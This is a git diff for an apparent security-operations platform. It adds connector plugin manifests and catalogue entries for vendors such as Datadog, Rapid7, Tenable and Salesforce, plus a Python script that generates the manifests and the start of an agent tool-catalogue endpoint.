+ },
+ {
+ "id": "datadog-cloud-siem",
+ "type": "plugin",
+ "name": "Datadog Cloud SIEM Connector",
+ "description": "Datadog Cloud SIEM. Pulls Security Signals and supports log search across the Datadog logs platform.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "datadog",
+ "cloud-siem"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/datadog_cloud_siem.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/datadog-cloud-siem/plugin.yaml"
+ },
{
"id": "datadog-incidents",
"type": "plugin",
@@ -221770,6 +222720,31 @@
"tier": "stable",
"path": "plugins/datadog-incidents/plugin.yaml"
},
+ {
+ "id": "email-inbox",
+ "type": "plugin",
+ "name": "Email Inbox (IMAP)",
+ "description": "Polls a mailbox over IMAP and ingests each forwarded alert email as an event. Last-resort path for vendors that can't push to /v1/inbox/email but can email alerts to a dedicated mailbox. Pairs with the email-forwarded ingest template.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "email",
+ "imap",
+ "inbox",
+ "universal-capture",
+ "connector"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/plugins/email-inbox",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": false,
+ "source": "core",
+ "tier": "beta",
+ "path": "plugins/email-inbox/plugin.yaml"
+ },
{
"id": "gcp-cloud-audit",
"type": "plugin",
@@ -221959,6 +222934,30 @@
"tier": "stable",
"path": "plugins/jamf-mdm/plugin.yaml"
},
+ {
+ "id": "lacework",
+ "type": "plugin",
+ "name": "Lacework / Fortinet FortiCNAPP Connector",
+ "description": "Lacework cloud security platform. Pulls alerts (events) and supports compliance / configuration query.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "cloud",
+ "lacework",
+ "cnapp",
+ "compliance"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/lacework.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/lacework/plugin.yaml"
+ },
{
"id": "m365-audit",
"type": "plugin",
@@ -221987,6 +222986,30 @@
"tier": "stable",
"path": "plugins/m365-audit/plugin.yaml"
},
+ {
+ "id": "mimecast",
+ "type": "plugin",
+ "name": "Mimecast Email Security Connector",
+ "description": "Mimecast Email Security 2.0 API. Pulls held messages, SIEM events, and URL protect verdicts as alerts.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "email",
+ "mimecast",
+ "saas",
+ "phishing"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/mimecast.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/mimecast/plugin.yaml"
+ },
{
"id": "mttr-widget",
"type": "plugin",
@@ -222126,6 +223149,78 @@
"tier": "stable",
"path": "plugins/pagerduty-paging/plugin.yaml"
},
+ {
+ "id": "rapid7-insightidr",
+ "type": "plugin",
+ "name": "Rapid7 InsightIDR Connector",
+ "description": "Rapid7 InsightIDR cloud SIEM/XDR. Pulls investigations and supports log search across collected sources.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "rapid7",
+ "insightidr",
+ "udba"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/rapid7_insightidr.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/rapid7-insightidr/plugin.yaml"
+ },
+ {
+ "id": "salesforce",
+ "type": "plugin",
+ "name": "Salesforce Event Monitoring Connector",
+ "description": "Salesforce Event Monitoring + Setup Audit Trail. Pulls EventLogFile entries (logins, API usage, report exports) and SetupAuditTrail (admin config changes).",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "saas",
+ "salesforce",
+ "crm",
+ "audit"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/salesforce.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/salesforce/plugin.yaml"
+ },
+ {
+ "id": "slack-audit",
+ "type": "plugin",
+ "name": "Slack Enterprise Audit Logs Connector",
+ "description": "Slack Enterprise Grid Audit Logs. Pulls workspace and org-level audit events (logins, channel changes, file shares, app installs). Requires the auditlogs:read scope on an Org-level Slack app.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "saas",
+ "slack",
+ "audit",
+ "collaboration"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/slack_audit.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/slack-audit/plugin.yaml"
+ },
{
"id": "slack-quarantine",
"type": "plugin",
@@ -222182,6 +223277,29 @@
"tier": "stable",
"path": "plugins/snowflake-events/plugin.yaml"
},
+ {
+ "id": "sumo-logic",
+ "type": "plugin",
+ "name": "Sumo Logic Cloud SIEM Connector",
+ "description": "Sumo Logic Cloud SIEM Enterprise (CSE). Pulls insights and signals, and supports log search jobs across the platform.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "siem",
+ "sumo-logic",
+ "cloud-siem"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/sumo_logic.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/sumo-logic/plugin.yaml"
+ },
{
"id": "tailscale-acl",
"type": "plugin",
@@ -222236,6 +223354,53 @@
"tier": "beta",
"path": "plugins/tailscale-connector/plugin.yaml"
},
+ {
+ "id": "tenable-io",
+ "type": "plugin",
+ "name": "Tenable Vulnerability Management Connector",
+ "description": "Tenable.io / Tenable Vulnerability Management. Pulls vulnerability findings as alerts and exposes asset and vulnerability enrichment for the agent.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "vuln",
+ "tenable",
+ "vulnerability-management"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/tenable.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/tenable-io/plugin.yaml"
+ },
+ {
+ "id": "trend-vision-one",
+ "type": "plugin",
+ "name": "Trend Vision One Connector",
+ "description": "Trend Micro Vision One XDR. Pulls Workbench alerts and OAT (Observed Attack Technique) detections. Supports endpoint isolation as an agent capability.",
+ "version": "1.0.0",
+ "author": "AiSOC Core Team",
+ "tags": [
+ "edr",
+ "xdr",
+ "trend-micro",
+ "endpoint"
+ ],
+ "plugin_type": "connector",
+ "license": "MIT",
+ "homepage": "https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/trend_vision_one.py",
+ "min_aisoc_version": "4.0.0",
+ "sdks": [],
+ "mitre_techniques": [],
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "path": "plugins/trend-vision-one/plugin.yaml"
+ },
{
"id": "twilio-sms",
"type": "plugin",
diff --git a/plugins/auth0/plugin.yaml b/plugins/auth0/plugin.yaml
new file mode 100644
index 000000000..db4669b13
--- /dev/null
+++ b/plugins/auth0/plugin.yaml
@@ -0,0 +1,27 @@
+id: auth0
+name: Auth0 Tenant Logs Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Auth0 tenant logs. Pulls login events, MFA events, and admin actions via the
+ Management API.
+author: AiSOC Core Team
+tags: [iam, auth0, okta, identity]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/auth0.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [domain, client_id, client_secret]
+ properties:
+ domain:
+ type: string
+ description: Auth0 Domain
+ client_id:
+ type: string
+ description: M2M Client ID
+ client_secret:
+ type: string
+ description: M2M Client Secret
+ secret: true
diff --git a/plugins/carbon-black/plugin.yaml b/plugins/carbon-black/plugin.yaml
new file mode 100644
index 000000000..3bf3901fe
--- /dev/null
+++ b/plugins/carbon-black/plugin.yaml
@@ -0,0 +1,31 @@
+id: carbon-black
+name: Carbon Black Cloud Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ VMware Carbon Black Cloud (formerly Carbon Black Defense). Pulls alerts and
+ audit log entries via API key authentication. Supports host isolation and hash
+ banning via agent capabilities.
+author: AiSOC Core Team
+tags: [edr, carbon-black, vmware, endpoint]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/carbon_black.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [region, org_key, api_id, api_secret]
+ properties:
+ region:
+ type: string
+ description: "CBC region your tenant is hosted in. The wrong region returns 401 rather than 404, so this can't be auto-detected."
+ org_key:
+ type: string
+ description: "Found in CBC console under Settings → API Access → API Keys (the column labeled 'Org Key')."
+ api_id:
+ type: string
+ description: "The 'API ID' half of the credential pair."
+ api_secret:
+ type: string
+ description: The long secret half of the credential pair.
+ secret: true
diff --git a/plugins/chronicle/plugin.yaml b/plugins/chronicle/plugin.yaml
new file mode 100644
index 000000000..88691f551
--- /dev/null
+++ b/plugins/chronicle/plugin.yaml
@@ -0,0 +1,30 @@
+id: chronicle
+name: Google Chronicle SecOps Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Google Chronicle SecOps SIEM. Pulls detections and supports UDM searches.
+ Auth is via a Google Cloud service account JSON key with chronicle.* roles.
+author: AiSOC Core Team
+tags: [siem, google, chronicle, secops]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/chronicle.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [region, project_id, customer_id, service_account_json]
+ properties:
+ region:
+ type: string
+ description: Region
+ project_id:
+ type: string
+ description: GCP Project ID
+ customer_id:
+ type: string
+ description: UUID of your Chronicle tenant.
+ service_account_json:
+ type: string
+ description: Paste the entire service-account JSON key.
+ secret: true
diff --git a/plugins/cisco-umbrella/plugin.yaml b/plugins/cisco-umbrella/plugin.yaml
new file mode 100644
index 000000000..1f72862b9
--- /dev/null
+++ b/plugins/cisco-umbrella/plugin.yaml
@@ -0,0 +1,28 @@
+id: cisco-umbrella
+name: Cisco Umbrella DNS Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Cisco Umbrella DNS + secure web gateway activity. Surfaces blocked domains,
+ malware verdicts, and proxy events.
+author: AiSOC Core Team
+tags: [network, cisco, umbrella, dns]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/cisco_umbrella.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [api_key, api_secret]
+ properties:
+ api_key:
+ type: string
+ description: Umbrella Management API Key
+ secret: true
+ api_secret:
+ type: string
+ description: Umbrella Management API Secret
+ secret: true
+ org_id:
+ type: string
+ description: "Optional. If omitted, the token's default org is used."
diff --git a/plugins/cortex-xsiam/plugin.yaml b/plugins/cortex-xsiam/plugin.yaml
new file mode 100644
index 000000000..e4967d3dd
--- /dev/null
+++ b/plugins/cortex-xsiam/plugin.yaml
@@ -0,0 +1,29 @@
+id: cortex-xsiam
+name: Palo Alto Cortex XSIAM Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Palo Alto Networks Cortex XSIAM — pulls correlated incidents and supports XQL
+ queries over the platform's data lake. Endpoint isolation is exposed as an
+ agent action.
+author: AiSOC Core Team
+tags: [siem, xsiam, palo-alto, cortex]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/cortex_xsiam.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [tenant_fqdn, api_key_id, api_key]
+ properties:
+ tenant_fqdn:
+ type: string
+ description: Found in the XSIAM console under Settings → API Keys.
+ api_key_id:
+ type: string
+ description: API Key ID
+ secret: true
+ api_key:
+ type: string
+ description: API Key
+ secret: true
diff --git a/plugins/datadog-cloud-siem/plugin.yaml b/plugins/datadog-cloud-siem/plugin.yaml
new file mode 100644
index 000000000..6697516a0
--- /dev/null
+++ b/plugins/datadog-cloud-siem/plugin.yaml
@@ -0,0 +1,28 @@
+id: datadog-cloud-siem
+name: Datadog Cloud SIEM Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Datadog Cloud SIEM. Pulls Security Signals and supports log search across the
+ Datadog logs platform.
+author: AiSOC Core Team
+tags: [siem, datadog, cloud-siem]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/datadog_cloud_siem.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [site, api_key, application_key]
+ properties:
+ site:
+ type: string
+ description: Datadog site
+ api_key:
+ type: string
+ description: API Key
+ secret: true
+ application_key:
+ type: string
+ description: Application Key
+ secret: true
diff --git a/plugins/email-inbox/plugin.yaml b/plugins/email-inbox/plugin.yaml
new file mode 100644
index 000000000..a6111e1b1
--- /dev/null
+++ b/plugins/email-inbox/plugin.yaml
@@ -0,0 +1,44 @@
+id: email-inbox
+name: Email Inbox (IMAP)
+version: "1.0.0"
+plugin_type: connector
+description: >
+ Polls a mailbox over IMAP and ingests each forwarded alert email as an event.
+ Last-resort path for vendors that can't push to /v1/inbox/email but can email
+ alerts to a dedicated mailbox. Pairs with the email-forwarded ingest template.
+author: AiSOC Core Team
+tags: [email, imap, inbox, universal-capture, connector]
+homepage: https://github.com/beenuar/AiSOC/tree/main/plugins/email-inbox
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [host, username, password]
+ properties:
+ host:
+ type: string
+ description: "IMAP host (e.g., imap.gmail.com)"
+ port:
+ type: integer
+ default: 993
+ description: "IMAP port — defaults to 993 (IMAPS)"
+ username:
+ type: string
+ description: "Mailbox login (e.g., [email protected])"
+ password:
+ type: string
+ description: "App-specific password — never the primary account password"
+ secret: true
+ mailbox:
+ type: string
+ default: INBOX
+ description: "Folder to poll for unseen messages"
+ max_messages:
+ type: integer
+ default: 50
+ minimum: 1
+ description: "Max messages to fetch per poll cycle"
+ use_ssl:
+ type: boolean
+ default: true
+ description: "Use IMAPS (true) or plain IMAP (false)"
diff --git a/plugins/lacework/plugin.yaml b/plugins/lacework/plugin.yaml
new file mode 100644
index 000000000..df01ed534
--- /dev/null
+++ b/plugins/lacework/plugin.yaml
@@ -0,0 +1,30 @@
+id: lacework
+name: Lacework / Fortinet FortiCNAPP Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Lacework cloud security platform. Pulls alerts (events) and supports
+ compliance / configuration query.
+author: AiSOC Core Team
+tags: [cloud, lacework, cnapp, compliance]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/lacework.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [account, key_id, secret]
+ properties:
+ account:
+ type: string
+ description: "First label of your Lacework console URL: https://<account>.lacework.net"
+ subaccount:
+ type: string
+ description: Subaccount (optional)
+ key_id:
+ type: string
+ description: Access Key ID
+ secret:
+ type: string
+ description: Secret Key
+ secret: true
diff --git a/plugins/mimecast/plugin.yaml b/plugins/mimecast/plugin.yaml
new file mode 100644
index 000000000..26786848c
--- /dev/null
+++ b/plugins/mimecast/plugin.yaml
@@ -0,0 +1,27 @@
+id: mimecast
+name: Mimecast Email Security Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Mimecast Email Security 2.0 API. Pulls held messages, SIEM events, and URL
+ protect verdicts as alerts.
+author: AiSOC Core Team
+tags: [email, mimecast, saas, phishing]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/mimecast.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [region, client_id, client_secret]
+ properties:
+ region:
+ type: string
+ description: Region
+ client_id:
+ type: string
+ description: Client ID
+ client_secret:
+ type: string
+ description: Client Secret
+ secret: true
diff --git a/plugins/rapid7-insightidr/plugin.yaml b/plugins/rapid7-insightidr/plugin.yaml
new file mode 100644
index 000000000..aa0d8adfc
--- /dev/null
+++ b/plugins/rapid7-insightidr/plugin.yaml
@@ -0,0 +1,24 @@
+id: rapid7-insightidr
+name: Rapid7 InsightIDR Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Rapid7 InsightIDR cloud SIEM/XDR. Pulls investigations and supports log
+ search across collected sources.
+author: AiSOC Core Team
+tags: [siem, rapid7, insightidr, udba]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/rapid7_insightidr.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [region, api_key]
+ properties:
+ region:
+ type: string
+ description: Region
+ api_key:
+ type: string
+ description: Insight API Key
+ secret: true
diff --git a/plugins/salesforce/plugin.yaml b/plugins/salesforce/plugin.yaml
new file mode 100644
index 000000000..116d9f295
--- /dev/null
+++ b/plugins/salesforce/plugin.yaml
@@ -0,0 +1,32 @@
+id: salesforce
+name: Salesforce Event Monitoring Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Salesforce Event Monitoring + Setup Audit Trail. Pulls EventLogFile entries
+ (logins, API usage, report exports) and SetupAuditTrail (admin config
+ changes).
+author: AiSOC Core Team
+tags: [saas, salesforce, crm, audit]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/salesforce.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [instance_url, client_id, client_secret]
+ properties:
+ instance_url:
+ type: string
+ description: My Domain URL
+ client_id:
+ type: string
+ description: Connected App Consumer Key
+ client_secret:
+ type: string
+ description: Connected App Consumer Secret
+ secret: true
+ refresh_token:
+ type: string
+ description: Provided automatically when you connect via OAuth.
+ secret: true
diff --git a/plugins/slack-audit/plugin.yaml b/plugins/slack-audit/plugin.yaml
new file mode 100644
index 000000000..fb8b0d59b
--- /dev/null
+++ b/plugins/slack-audit/plugin.yaml
@@ -0,0 +1,22 @@
+id: slack-audit
+name: Slack Enterprise Audit Logs Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Slack Enterprise Grid Audit Logs. Pulls workspace and org-level audit events
+ (logins, channel changes, file shares, app installs). Requires the
+ auditlogs:read scope on an Org-level Slack app.
+author: AiSOC Core Team
+tags: [saas, slack, audit, collaboration]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/slack_audit.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [access_token]
+ properties:
+ access_token:
+ type: string
+ description: "OrgLevel OAuth bot token with the auditlogs:read scope, issued from a Slack Enterprise Grid app."
+ secret: true
diff --git a/plugins/sumo-logic/plugin.yaml b/plugins/sumo-logic/plugin.yaml
new file mode 100644
index 000000000..44f91bc34
--- /dev/null
+++ b/plugins/sumo-logic/plugin.yaml
@@ -0,0 +1,27 @@
+id: sumo-logic
+name: Sumo Logic Cloud SIEM Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Sumo Logic Cloud SIEM Enterprise (CSE). Pulls insights and signals, and
+ supports log search jobs across the platform.
+author: AiSOC Core Team
+tags: [siem, sumo-logic, cloud-siem]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/sumo_logic.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [deployment, access_id, access_key]
+ properties:
+ deployment:
+ type: string
+ description: Deployment
+ access_id:
+ type: string
+ description: Access ID
+ access_key:
+ type: string
+ description: Access Key
+ secret: true
diff --git a/plugins/tenable-io/plugin.yaml b/plugins/tenable-io/plugin.yaml
new file mode 100644
index 000000000..d34c80756
--- /dev/null
+++ b/plugins/tenable-io/plugin.yaml
@@ -0,0 +1,24 @@
+id: tenable-io
+name: Tenable Vulnerability Management Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Tenable.io / Tenable Vulnerability Management. Pulls vulnerability findings
+ as alerts and exposes asset and vulnerability enrichment for the agent.
+author: AiSOC Core Team
+tags: [vuln, tenable, vulnerability-management]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/tenable.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [access_key, secret_key]
+ properties:
+ access_key:
+ type: string
+ description: Access Key
+ secret_key:
+ type: string
+ description: Secret Key
+ secret: true
diff --git a/plugins/trend-vision-one/plugin.yaml b/plugins/trend-vision-one/plugin.yaml
new file mode 100644
index 000000000..0b7ce6ff7
--- /dev/null
+++ b/plugins/trend-vision-one/plugin.yaml
@@ -0,0 +1,24 @@
+id: trend-vision-one
+name: Trend Vision One Connector
+version: "1.0.0"
+plugin_type: connector
+tier: stable
+description: >
+ Trend Micro Vision One XDR. Pulls Workbench alerts and OAT (Observed Attack
+ Technique) detections. Supports endpoint isolation as an agent capability.
+author: AiSOC Core Team
+tags: [edr, xdr, trend-micro, endpoint]
+homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/trend_vision_one.py
+license: MIT
+min_aisoc_version: "4.0.0"
+config_schema:
+ type: object
+ required: [region, api_token]
+ properties:
+ region:
+ type: string
+ description: Vision One has region-specific hostnames; using the wrong one returns 401.
+ api_token:
+ type: string
+ description: "Bearer token issued from Vision One console: Administration → API Keys."
+ secret: true
diff --git a/scripts/generate_p0_manifests.py b/scripts/generate_p0_manifests.py
new file mode 100644
index 000000000..c84c986e9
--- /dev/null
+++ b/scripts/generate_p0_manifests.py
@@ -0,0 +1,233 @@
+#!/usr/bin/env python3
+"""Generate marketplace plugin.yaml manifests for the WS3 P0 connector batch.
+
+Walks each P0 connector's `schema()` and emits a `plugins/<dash-id>/plugin.yaml`
+that mirrors the live schema fields. Idempotent — re-running overwrites
+in-place so the manifest stays in sync with the connector class.
+
+Usage:
+ python3 scripts/generate_p0_manifests.py
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(REPO_ROOT / "services" / "connectors"))
+
+from app.connectors import CONNECTOR_REGISTRY # noqa: E402
+
+# (registry-id, marketplace-slug, friendly-name, tags, homepage-suffix)
+P0_BATCH: list[tuple[str, str, str, list[str], str]] = [
+ (
+ "carbon_black",
+ "carbon-black",
+ "Carbon Black Cloud Connector",
+ ["edr", "carbon-black", "vmware", "endpoint"],
+ "carbon_black.py",
+ ),
+ (
+ "trend_vision_one",
+ "trend-vision-one",
+ "Trend Vision One Connector",
+ ["edr", "xdr", "trend-micro", "endpoint"],
+ "trend_vision_one.py",
+ ),
+ (
+ "cortex_xsiam",
+ "cortex-xsiam",
+ "Palo Alto Cortex XSIAM Connector",
+ ["siem", "xsiam", "palo-alto", "cortex"],
+ "cortex_xsiam.py",
+ ),
+ (
+ "rapid7_insightidr",
+ "rapid7-insightidr",
+ "Rapid7 InsightIDR Connector",
+ ["siem", "rapid7", "insightidr", "udba"],
+ "rapid7_insightidr.py",
+ ),
+ (
+ "sumo_logic",
+ "sumo-logic",
+ "Sumo Logic Cloud SIEM Connector",
+ ["siem", "sumo-logic", "cloud-siem"],
+ "sumo_logic.py",
+ ),
+ (
+ "chronicle",
+ "chronicle",
+ "Google Chronicle SecOps Connector",
+ ["siem", "google", "chronicle", "secops"],
+ "chronicle.py",
+ ),
+ (
+ "datadog_cloud_siem",
+ "datadog-cloud-siem",
+ "Datadog Cloud SIEM Connector",
+ ["siem", "datadog", "cloud-siem"],
+ "datadog_cloud_siem.py",
+ ),
+ (
+ "lacework",
+ "lacework",
+ "Lacework / Fortinet FortiCNAPP Connector",
+ ["cloud", "lacework", "cnapp", "compliance"],
+ "lacework.py",
+ ),
+ (
+ "tenable_io",
+ "tenable-io",
+ "Tenable Vulnerability Management Connector",
+ ["vuln", "tenable", "vulnerability-management"],
+ "tenable.py",
+ ),
+ (
+ "mimecast",
+ "mimecast",
+ "Mimecast Email Security Connector",
+ ["email", "mimecast", "saas", "phishing"],
+ "mimecast.py",
+ ),
+ (
+ "slack_audit",
+ "slack-audit",
+ "Slack Enterprise Audit Logs Connector",
+ ["saas", "slack", "audit", "collaboration"],
+ "slack_audit.py",
+ ),
+ (
+ "salesforce",
+ "salesforce",
+ "Salesforce Event Monitoring Connector",
+ ["saas", "salesforce", "crm", "audit"],
+ "salesforce.py",
+ ),
+ (
+ "auth0",
+ "auth0",
+ "Auth0 Tenant Logs Connector",
+ ["iam", "auth0", "okta", "identity"],
+ "auth0.py",
+ ),
+ (
+ "cisco_umbrella",
+ "cisco-umbrella",
+ "Cisco Umbrella DNS Connector",
+ ["network", "cisco", "umbrella", "dns"],
+ "cisco_umbrella.py",
+ ),
+]
+
+
+def _yaml_quote(value: str) -> str:
+ """Quote a value for safe YAML embedding."""
+ if any(c in value for c in ":#\n\"'") or value != value.strip():
+ return '"' + value.replace("\\", "\\\\").replace('"', '\\"') + '"'
+ return value
+
+
+def _render_manifest(
+ *,
+ slug: str,
+ name: str,
+ tags: list[str],
+ homepage_suffix: str,
+ description: str,
+ required_fields: list[str],
+ field_lines: list[str],
+) -> str:
+ tags_yaml = "[" + ", ".join(tags) + "]"
+ lines = [
+ f"id: {slug}",
+ f"name: {_yaml_quote(name)}",
+ 'version: "1.0.0"',
+ "plugin_type: connector",
+ "tier: stable",
+ "description: >",
+ ]
+ # Wrap description across lines
+ chunk_size = 78
+ desc_words = description.split()
+ line: list[str] = []
+ width = 0
+ desc_lines: list[str] = []
+ for word in desc_words:
+ if width + len(word) + 1 > chunk_size and line:
+ desc_lines.append(" ".join(line))
+ line = [word]
+ width = len(word)
+ else:
+ line.append(word)
+ width += len(word) + 1
+ if line:
+ desc_lines.append(" ".join(line))
+ for dl in desc_lines:
+ lines.append(f" {dl}")
+
+ lines += [
+ "author: AiSOC Core Team",
+ f"tags: {tags_yaml}",
+ f"homepage: https://github.com/beenuar/AiSOC/tree/main/services/connectors/app/connectors/{homepage_suffix}",
+ "license: MIT",
+ 'min_aisoc_version: "4.0.0"',
+ "config_schema:",
+ " type: object",
+ ]
+ if required_fields:
+ req = ", ".join(required_fields)
+ lines.append(f" required: [{req}]")
+ lines.append(" properties:")
+ lines.extend(field_lines)
+ return "\n".join(lines) + "\n"
+
+
+def main() -> int:
+ out_dir = REPO_ROOT / "plugins"
+ written: list[str] = []
+
+ for registry_id, slug, name, tags, homepage_suffix in P0_BATCH:
+ cls = CONNECTOR_REGISTRY.get(registry_id)
+ if cls is None:
+ print(f" WARN: connector '{registry_id}' not registered", file=sys.stderr)
+ continue
+
+ schema = cls.schema()
+ required: list[str] = []
+ field_lines: list[str] = []
+
+ for f in schema.fields:
+ if f.required:
+ required.append(f.name)
+ field_lines.append(f" {f.name}:")
+ yaml_type = "string" # everything serializes as string in YAML schema
+ field_lines.append(f" type: {yaml_type}")
+ help_text = f.help_text or f.label or f.name
+ field_lines.append(f" description: {_yaml_quote(help_text)}")
+ if f.type == "secret":
+ field_lines.append(" secret: true")
+
+ manifest = _render_manifest(
+ slug=slug,
+ name=name,
+ tags=tags,
+ homepage_suffix=homepage_suffix,
+ description=schema.description.replace("\n", " ").strip(),
+ required_fields=required,
+ field_lines=field_lines,
+ )
+
+ target = out_dir / slug / "plugin.yaml"
+ target.parent.mkdir(parents=True, exist_ok=True)
+ target.write_text(manifest, encoding="utf-8")
+ written.append(slug)
+ print(f" WROTE plugins/{slug}/plugin.yaml")
+
+ print(f"\nGenerated {len(written)} P0 plugin manifests.")
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/services/api/app/api/v1/endpoints/agents.py b/services/api/app/api/v1/endpoints/agents.py
new file mode 100644
index 000000000..40bb0af9b
--- /dev/null
+++ b/services/api/app/api/v1/endpoints/agents.py
@@ -0,0 +1,351 @@
+"""Agent-facing endpoints — capability tools surface (Workstream 4).
+
+This module is the *agent layer's* read-side over the connector platform.
+It does **not** execute anything by itself. Its sole responsibility is to
+answer: *"For this tenant, what verbs is the agent allowed to invoke,
+against which connector instances, with which JSON-Schema-shaped inputs?"*
+
+Why a separate endpoint rather than re-using ``GET /connectors``:
+
+* Different audience. ``/connectors`` is operator-facing (wizard,
+ health rollup, credential management). ``/agents/tools`` is the
+ catalogue an LLM-driven agent reads when it picks a tool to call.
+* Different shape. The agent doesn't care about ``auth_config`` keys
